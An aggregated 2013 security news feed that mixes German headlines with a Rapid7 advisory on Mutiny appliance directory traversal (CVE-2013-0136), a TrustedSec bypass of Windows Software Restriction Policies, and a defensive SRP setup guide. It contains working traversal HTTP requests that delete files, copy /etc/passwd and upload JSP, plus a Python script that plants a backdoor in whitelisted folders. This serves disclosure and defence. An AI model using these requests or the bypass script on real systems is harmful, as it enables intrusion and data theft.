Security News

Morgen, so verdichten sich die Gerüchte, wird Yahoo die Übernahme von Tumblr bekannt geben. Derweil musste das Unternehmen den möglichen Diebstahl von 22 Millionen User-IDs einräumen.

"Metasploit: Das Handbuch zum Penetration-Testing-Framework" by Michael Messner (Perfect Paperback) has sold 1 book on Amazon.de on Friday, May 17, 2013 at 7pm Pacific Time.
It has jumped to a new Amazon SalesRank of 11,591 from a previous SalesRank of 23,123.admin@novelrank.com (Mario Lurig)

Die gewaltigen Datenmengen, die bei einem Portscan des gesamten Internets aufgelaufen sind, kann man jetzt auch komfortabel online durchsuchen.

Zumindest technisch wären Fernsehsender bereits jetzt dazu in der Lage, TV-Quoten über das Internet in Echtzeit zu erheben. Dies ergab eine Studie der TU Darmstadt.

Heute mit: Smart-TV-Hacking, Telefonabzockern in der Service-Offensive, einer PC-Schutzimpfung, vorinstallierten Android-Virenscannern und einem Twitter-Passwortcheck

Die Malware, die sich auf dem Mac eines afrikanischen Aktivisten fand, fertigt regelmäßig Screenshots an. Sie ist mit einer Apple-Entwickler-ID signiert.

"Metasploit: Das Handbuch zum Penetration-Testing-Framework" by Michael Messner (Perfect Paperback) has sold 1 book on Amazon.de on Friday, May 17, 2013 at 4am Pacific Time.
It has jumped to a new Amazon SalesRank of 5,172 from a previous SalesRank of 7,959.admin@novelrank.com (Mario Lurig)

Unsere Entdeckung, dass via Skype verschickte URLs von Microsoft besucht werden, hat für einigen Aufruhr gesorgt. Mittlerweile liegen etwas mehr Informationen dazu auf dem Tisch.

Derzeit kursiert eine fast perfekt gefälschte Telekom-Rechnung, die man – anders als das Original – ungeöffnet entsorgen sollte.

Most recently, Greg Hetrick over at PaulDotCom released an article entailing how to thwart Client Side attacks with Software Restriction Policy. First of all, great post and analysis on stopping common attack vectors through client side exploitation. We love the folks over at PaulDotCom and their experience and openness to share with the community. Greg picked on SET so we had to write something back in response and all in best intentions, hugs, and good fun with hacking defensive capabilities.



Link to the article here: http://pauldotcom.com/2013/05/thwarting-client-side-attacks.html

I would highly recommend taking a read on this and implementing the recommendations if you can scale it to your organization. Makes it significantly harder to compromise a system. Now on that, lets get down the meat of the blog. Greg’s premise and tutorial explains how to use Software Restriction Policies within Active Directory to restrict the ability to execute certain types of software or files unless otherwise inherently specified. This is a great method for disallowing specific file types from being allowed to execute (such as malicious software). He uses a few different examples of SET and how to prevent the toolkit from being able to be successful from attacks. The first method and second method are preventing malicious executables and PDF’s from being executed on the system. Couple of items on the first two attack methods:

1. The PE dropping attack prevention on the software restriction policy is great. Same concept of whitelisting/blacklisting in a sense (and expanded on with applocker) and one that is used as a last resort in SET. I view PE blocking as a bit of the easy going for systems that don’t have any type of executable prevention. Bypass method for this would be to place it in a directory that is allowed, by default SET places any type of binary dropped in %TEMP% of the victim.

2. PDF attacks should only be used as a last resort on a machine. Most AV companies pick these up unless you heavily obfuscate (about the only good use still left for traditional anti-virus). The PDF attack mentioned is a backdoored PDF attack that drops an executable. The mentioned software restriction policy would definitely stop the attack. Bypass method for this would be to place it in a directory that is allowed.

Now applicability on a corporate environment – essentially the aforementioned policies would completely disallow normal users from the ability to execute almost anything (which is a good thing). This would be extremely difficult to manage however possible. To Greg’s point, if you place it to monitor what executables are being used, you may be able to scale it in a smaller sized company. Lastly – the PowerShell method that was used to disallow the PowerShell attack vector from using actually stops the execution of PowerShell completely or the ability to call it as a user. This may work in some, but not all environments. Any core critical components that are embedded into PowerShell such as help files and general use for the operating system would not work properly. Since PowerShell is a core critical strategy and heavily embedded into the operating system now, additional functionality may be impaired.

Now let’s completely bypass software restriction policies all together. Since the technique shown from Greg is specifically path specific, we shouldn’t have a major problem with this. You would have to assume that in order to execute some files, you would need to have an exception in place for certain folders or files. Just a caveat, this is a total hack job =)

Let’s assume this scenario:

1. We’ve compromised the victims machine with software restriction policies on it.
2. We have access to the system in some fashion albeit a limited user account.
3. Our executable/PE file resides in %TEMP% however cannot execute.

# # Quick bypass script for software restriction policies # # For powershell bypass, just copy powershell.exe and the retrospective command # to the same directory as the backdoor and modify the script. # # Also, if you want to get crazy with it, you could also kill the process that # may have an associated executable attached to it to remove access is denied # issues. # # Note that this is a Python script - this could be easily ported to Java or # wscript, or anything else that we have as a deployment method. This is just # a PoC. # # Written by: TrustedSec (https://www.trustedsec.com) # import os import subprocess files = [] for dirpath, dirnames, filenames in os.walk('C:\\'): for fname in filenames: if fname.endswith(".exe"): # search for any directory with an exe - will probably be whitelisted already path = os.path.join(dirpath,fname) files.append({'path':path,'directory': dirpath}) dirname = dirpath.split(os.path.sep)[-1] exepath = files.split(os.path.sep)[-1] # we have two options here, either copy the file and attempt to execute, or rename the executable name and copy ours over # # lets do the first one - copy the executable to the exe directory and run it subprocess.Popen("copy %TEMP%\\backdoor.exe %s;cd %s;backdoor.exe" % (dirname,dirname), shell=True).wait() # lets do the second one and rename the executable, run then move it back subprocess.Popen("cd %s;rename %s testing_restrictions.exe;copy %TEMP%\\backdoor.exe %s;%s;del backdoor.exe;rename testing_restrictions.exe %s" % (dirname,exepath,dirname,exepath,exepath), shell=True).wait() # we wouldn't want to do this for every file, probably be noticed, so lets put a pause until we get a success print "Selecting no will continue to process to the next executable path until we get our backdoor to work properly" choice = raw_input("Do we have shells yet? [y/n]:") # break out of the loop else just keep going if choice == "y": break

This small script will enumerate each directory on the C:\ website and iterate through each executable. It’ll first attempt to execute your backdoor exe in the directory, if that doesn’t work, then rename the exe thats already allowed and attempt to run the backdoor. Crude way of doing it and probably a million other ways to do it, just a fun one that we thought up when we saw the post.

Great article, and a good example of thinking outside of the box to stop specific and common targeted attacks. Awesome work Greg, and thanks for using SET in the demonstrations =)

The post Pauldotcom – Thwarting Client Side Attacks (and how to bypass) appeared first on .

In Großbritannien wurde heute vier Hackern aus dem Umfeld der berüchtigten Gruppe LulzSec der Prozess gemacht. Drei von ihnen stehen Haftstrafen bevor, der vierte wird auf Bewährung freigelassen.

Wer verhindern will, dass Nutzer auf fremde Kalender zugreifen oder eigenen PHP-Code in den Server einschleusen, sollte baldmöglichst auf eine der aktuellen Versionen umsteigen.

Was führt jemand im Schilde, der das Internet nach frei zugänglichen Industrieanlagen durchsucht? Das kann man mit dem SCADA-Honeypot Conpot herausfinden.

Das Android-Smartphone für verschlüsselte Telefonate konkurriert nicht mit den "Merkel-Phones" – Giesecke & Devrient will es ausländischen Regierungen und Behörden verkaufen.

Der Server des zPanel-Projekts ist derzeit anscheinend in Folge eines Hackerangriffs nicht erreichbar. Provoziert hatte den Angriffs vermutlich ein Mitarbeiter des Support-Teams, der einen Nutzer im Forum beschimpft haben soll.

Auf dem Treffen der IP-Adressverwaltung RIPE wurde darüber debattiert, wie schwarze Schafe dazu gebracht werden können, überfällige Sicherungen vorzunehmen.

"Metasploit: Das Handbuch zum Penetration-Testing-Framework" by Michael Messner (Perfect Paperback) has sold 1 book on Amazon.de on Wednesday, May 15, 2013 at 7pm Pacific Time.
It has jumped to a new Amazon SalesRank of 24,890 from a previous SalesRank of 92,453.admin@novelrank.com (Mario Lurig)

Ein bereits im April im Entwickler-Kernel-Zweig gefixter Fehler wurde nicht als sicherheitsrelevant erkannt und lässt sich deshalb auf vielen Systemen immer noch ausnutzen.(author unknown)

Back in March we published an exploit module for Mutiny Remote Code Execution. Mutiny "is a self-contained appliance for monitoring network-attached devices such as servers, switches, routers and printers. It has been designed to be simple to use, being aimed at the person who is more interested in the actual data gathered rather than the science of gathering the data." (Source: Mutiny User Guide). That module abused CVE-2012-3001, a command injection issue in the frontend application which allowed any authenticated user, with access to the admin interface, to execute os commands with root privileges. While developing that exploit, we took a look at the last version of the Mutiny FrontEnd available at that time (5.0-1.07) and found others issues, grouped under CVE-2013-0136, which have the plus of being exploitable from any authenticated role.

 

Vulnerabilities Summary

 

The Mutiny Appliance provides a Web Frontend, where the users can configure the system and monitor the data collected by the appliance. The Frontend provides four access roles: “Super Admin”, “Administrator”, “Engineer” and “View only”. All the roles allow the user to access to the “Documents” section, where multiple weaknesses have been detected allowing

• To delete any file from the remote file system with root privileges.
• To copy and move files in the remote file system with root privileges, allowing also to download/retrieve these files.
• To upload arbitrary files to the remote file system and ultimately execute arbitrary code with root privileges.

 

Disclosure Timeline

 

DateDescription2013-03-08Initial discovery by Juan Vazquez, Metasploit Researcher2013-03-09Draft advisory and Metasploit module written2013-03-11Initial disclosure to the vendor, Mutiny Technology2013-03-12

Follow-up with vendor

2013-03-27Disclosure to CERT/CC2013-05-14Version 5.0-1.11 tested and not vulnerable to the disclosed exploitation (1)2013-05-15Public Disclosure2013-05-15Metasploit exploit module published

 

(1) Prior to public disclosure the last version available has been tested and the disclosed exploit techniques don't work anymore. The tested version has been "5.0-1.11 (EAGLe) - (02-05-13)". Since the vendor didn't warn us about the patch neither asked us to review the patch we can't assure the current patch is 100% confident and secure, neither have details about revisions between 5.0.1-07 and 5.0.1-11 which could be vulnerable. We encourage you to use the current Metasploit modules in order to test your Mutiny installation for the disclosed vulnerabilities.

 

Technical Analysis

 

The Web Frontend of Mutiny is provided in part by a Java Web Application. This frontend provides a "Documents" section for authenticated users for any role:

 

The Documents functions are in part provided by a servlet named "EditDocument". This servlets provides several "Documents" functions such as upload, copy, move and delete documents:

 

protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)   throws ServletException, IOException   .   .   s = httpservletrequest.getParameter("operation");   if(ServletFileUpload.isMultipartContent(httpservletrequest))   s = "UPLOAD";   .   .   .   if(!s.equals("NEW")) goto _L2; else goto _L1   .   .   .   if(!s.equals("RENAME")) goto _L5; else goto _L4   .   .   .   if(!s.equals("DELETE")) goto _L7; else goto _L6   .   .   .   if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8

 

• The UPLOAD operation can be abused via a Directory Traversal vulnerability in the “uploadPath” parameter  to upload arbitrary file and contents to the remote filesystem with root privileges:

 

if(s.equals("UPLOAD")) {   ServletFileUpload servletfileupload = new ServletFileUpload(new DiskFileItemFactory());   List list = null;   try   {   list = servletfileupload.parseRequest(httpservletrequest);   }   catch(FileUploadException fileuploadexception)   {   fileuploadexception.printStackTrace();   }   String s6 = null;   FileItem fileitem = null;   Iterator iterator = list.iterator();   do   {   if(!iterator.hasNext())   break;   FileItem fileitem1 = (FileItem)iterator.next();   if(fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadPath"))   s6 = fileitem1.getString(); // User controlled   else   if(!fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadFile"))   fileitem = fileitem1; // User controlled   } while(true);   if(s6.length() == 0)   {   System.out.println("Error: uploadPath not set.");   s6 = "/documents";   }   if(fileitem == null)   {   System.out.println("Error: uploadFile not set.");   } else   {   File file5 = new File(DocumentUtils.root, s6); // Directory Traversal   File file7 = new File(file5, fileitem.getName());   file7.getParentFile().mkdirs();   file7 = DocumentUtils.getUniqueFile(file7, false);   file7.createNewFile();   try   {   fileitem.write(file7); // Write file   if(file7.exists() && file7.length() == fileitem.getSize())   flag = true;   if(debug)   System.out.println((new StringBuilder()).append(s).append(": ").append(file7.getPath()).toString());   }   catch(Exception exception)   {   exception.printStackTrace();   }   } }

 

• The DELETE operation is also affected by a directory traversal vulnerability in the “paths[]” parameter, which allows to delete arbitrary files with root privileges:

 

_L5:         if(!s.equals("DELETE")) goto _L7; else goto _L6 _L6:         String as1[] = httpservletrequest.getParameterValues("paths[]"); // User controlled         String as2[] = as1;         int j = as2.length;         for(int k = 0; k < j; k++)         {             String s7 = as2[k];             File file6 = new File(DocumentUtils.root, s7); // Directory Traversal             if(!isValid(file6))                 return;             if(file6.isDirectory())                 FileUtils.deleteDirectory(file6); // Delete directory             else                 flag = file6.delete(); // Delete file             if(debug)                 System.out.println((new StringBuilder()).append("DELETE: ").append(file6.getPath()).toString());         }

 

• Also the CUT and COPY operation is also affected by directory traversal vulnerabilities in the “paths[]” and “newPath” parameters, which allows to copy and move files around the remote file system with root privileges:

 

        if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8 _L8:         File file2;         String as3[];         String s4 = httpservletrequest.getParameter("newPath");         file2 = new File(DocumentUtils.root, s4); // Directory Traversal in newPath         as3 = httpservletrequest.getParameterValues("paths[]");         if(as3 == null) goto _L3; else goto _L10 _L10:         String as4[];         int l;         int i1;         as4 = as3;         l = as4.length;         i1 = 0; _L11:         File file8;         File file9;         FileInputStream fileinputstream;         FileOutputStream fileoutputstream;         if(i1 >= l)             break; /* Loop/switch isn't completed */         String s8 = as4[i1];         file8 = new File(DocumentUtils.root, s8); // Directory traversal in paths[]         if(!isValid(file8))             return;         file9 = new File(file2, file8.getName()); // Directory traversal in newPath         file9 = DocumentUtils.getUniqueFile(file9, file8.isDirectory());         if(debug)             System.out.println((new StringBuilder()).append(s).append(": ").append(file9.getPath()).toString());         file9.getParentFile().mkdirs();         if(s.equals("CUT"))         {             flag = file8.renameTo(file9); // CUT operation affected by directory traversals             break MISSING_BLOCK_LABEL_881;         }         if(!s.equals("COPY"))             break MISSING_BLOCK_LABEL_881;         if(!file9.exists())             file9.createNewFile();         fileinputstream = null;         fileoutputstream = null;         fileinputstream = new FileInputStream(file8); // COPY operationaffected by directory traversals         fileoutputstream = new FileOutputStream(file9);         byte abyte0[] = new byte[4096];         int j1;         while((j1 = fileinputstream.read(abyte0)) > 0)             fileoutputstream.write(abyte0, 0, j1);         flag = true;         fileinputstream.close();         fileoutputstream.close();         break MISSING_BLOCK_LABEL_881;         Exception exception1;         exception1;         System.err.println(exception1.getMessage());         fileinputstream.close();         fileoutputstream.close();         break MISSING_BLOCK_LABEL_881;         Exception exception2;         exception2;         fileinputstream.close();         fileoutputstream.close();         throw exception2;         i1++;         if(true) goto _L11; else goto _L3

 

Exploitation

 

After examining the “doPost()” function from the “EditDocument” servlet,  requests to abuse these functions have been built.

 

DELETE operation

 

The next request allows deleting an arbitrary file from the filesystem:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 76

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

operation=DELETE&paths%5B%5D=../../../../test.msf

 

In this case the “/test.msf” will be deleted in the remote file system. The 4 level traversal is due to “DocumentUtils.root” by default pointing to “/var/MUTINY/upload/documents” in the Linux based appliance.

 

The response to the request informs if the file deletion has been successful:

 

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 02:16:18 GMT

 

 

{"success":true}

 

COPY operation

 

The copy operation allows copying arbitrary files in the remote file system with root privileges. By copying arbitrary files to the default web root in the appliance it’s possible to retrieve arbitrary files.

 

The next request allows copying the “/etc/passwd” file to the web root for mobile devices, by default located at “/usr/jakarta/tomcat/webapps/ROOT/m” in the Mutiny Linux based appliance:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 111

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=14CE95F1ED56321B4B226DF669D691C0; JSESSIONIDSSO=FA98603965548C3FB1F67BC5121A75DC

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

operation=COPY&paths%5B%5D=../../../../etc/passwd%00.txt&newPath=../../../../usr/jakarta/tomcat/webapps/ROOT/m/

 

The response to the request informs if the file deletion has been successful:

 

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 04:11:17 GMT

 

 

 

{"success":true}

 

By accessing to http://appliance/m/passwd is possible to retrieve the remote file:

 

UPLOAD operation

 

The upload operation allows uploading an arbitrary file to the file system with root privileges. By uploading a JSP file to the “/usr/jakarta/tomcat/webapps/ROOT/m” default location, arbitrary Java can be executed with root privileges by later invoking the JSP file via the web interface. The next request allows uploading JSP code to the "/usr/jakarta/tomcat/webapps/ROOT/m/msf.jsp” location:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 491

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPxNcR2XfK8d5gMeU

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadFile"; filename="msf.jsp"

Content-Type: application/octet-stream

 

 

 

<html>

        <head><title>Metasploit Test Page</title></head>

        <body>

                <font size="10"><%="Metasploit Test" %></font>

        </body>

</html>

 

 

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadPath"

 

 

 

../../../../usr/jakarta/tomcat/webapps/ROOT/m

------WebKitFormBoundaryPxNcR2XfK8d5gMeU—

 

The response to the request informs if the file upload has been successful:

 

By accessing to http://appliance/m/msf.jsp is possible to execute the uploaded JSP code:

 

 

Metasploit modules

 

In order to assist vulnerability testing two modules for the Metasploit framework have been developed.

 

mutiny_frontend_read_delete

 

The “mutiny_frontend_read_delete” is an auxiliary module which abuses the DELETE and COPY operations to retrieve or delete arbitrary files from the remote system:

 

• Reading /etc/passwd

 

 

• Deleting remote files

 

 

mutiny_frontend_upload

 

The "mutiny_frontend_upload" is an exploit module which abuses the UPLOAD operation to upload an arbitrary JSP code and an arbitrary payload embedded in an ELF file. The last one is executed through the invocation of the JSP stager:

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

no-reply@rapid7.com

A few weeks ago I started looking at Windows Software Restriction Policy (SRP) and using it to stop client side attacks. This is going to go over some of the options, setup and the results once enabled. 

SRP is easy to setup via Group Policy Object (GPO). Inside GPO editor create New Software Restriction Policy. Once create the default will be setup. You can look around to see basic options. Here is my tested setup.

Enforcement: Select "All Software files" and "All users except local administrators"

 

 

 

 

 

 

 

 

 

 

 

Under Designated File types: Remove type LNK - this will make sure that shortcuts placed outside of the designated execution directories will run. When I initially tested what I thought would work none of the shortcuts on the toolbar or desktop would launch an application and I found this to be the issue. 

 

 

 

 

 

 

 

 

 

 

 

 
Ignore trusted publishers, this is used if we are limiting applications based on the certificate authority.

Select "Additional Rules" 

The default execution directories will be selected. 

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir% 

Since mine is 64bit Windows I added

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)%

Security level for these are all going to be "Unrestricted" I want them to be able to execute as normal.

Now back under "Security Levels" the default setting is Unrestricted, since we are changing users over to defined execution directories I want to set anything not specifically allowed in the Additional Rules section to "Disallowed." So we change the default to Disallowed.

Save this and run gpupdate /force on the target machine. 

Now to test a client side attack using SET. I am going to use the java attack method. 1 -> Social-Engineering Attacks, 2 -> Website Attack Vectors, 1 -> Java Applet Attack Method, 1 -> Web Templates, 1 -> Java Required, 2 -> Windows Reverse_TCP Meterpreter, 16 -> Backdoored Executable - Enter port of listener (default 443)

Fire it up and wait till it starts the payload handler.

 

 

 

 

 

 

 

 

 

 

 

 

Once the handler is started you are ready to test the attack. Go ahead and run the unsafe java applet.

 

 

 

 

 

 

 

 

 

 

 

 

 

You will notice that the the site is responding but the java applet is unable to execute the payload.  

 

 

 

 

 

 

 

 

 

 

 

 

 

After attempting this and being successful, I tried running SET with PowerShell Injection and to my surprise the attack succeeded. I realized with PowerShell the payload was running from the C:\Windows\sysWOW64\WindowsPowerShell directory which by default is explicitly allowed. To defeat this attack I added the path to the list of Additional Rules and set it to "Basic User", retested the attack with PS Injection and the attack failed as expected. I tested this with multiple payloads and encoding methods and everyone of them did not result in a successful attack. 

I ran two other tests, the first was using EXE embedded PDF and an older version of Adobe Reader (9.3). SRP was able to successfully stop this attack.

Finally I tested a physical attack using a USB Rubber Ducky Human Interface Device (HID) from the folks over at hak5 (www.hak5.com). I used a great little payload generator found over on google code (https://code.google.com/p/simple-ducky-payload-generator/ ) It is pretty slick and simple, I used a meterpreter powershell injection payload that didn't attempt to elevate privileges. SRP was able to successfully stop this attack. If the user had admin privileges and entered in creds in the UAC window it would have worked since I allow Local Admins unrestricted access. 

In Production the are likely other directories where code needs to execute, those will need to be added to the allow list. As the config is done, administrators will be able to bypass these rules for installation of software etc. Administrators will also need to ensure that ACLs are properly set since a curious user could move executables into the approved directories and run them. While this is like a bit tough to implement in a very large organization this is a very effective method for stopping client side attacks.

To find other executable directories in use in your environment enable SRP with defaults (fully unrestricted) and set the following registry key: 

"HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers"
String Value: LogFileName, <path to log file> 

This will log the executable and the directory it was run from a little data mining can determine were applications need to execute from. Also Inventory Collector from Application Compatibility toolkit can assist in this task.

Update:

One PDC reader noted that the configuration would allow a PowerShell attack from SET to work on 32bit systems since the path on 32bit is C:\Windows\System32\WindowsPowerShell - Also this directory exists on 64bit machines as well, a modification to the SET Payload could allow the attack to succeed.

A fix for this is to also add "C:\Windows\System32\WindowsPowerShell" to the locked down policy under "Additional Rules"

This methods above would work for the given attack vector, there may be other vectors that need additional rules depending on the environment.

-Greg(author unknown)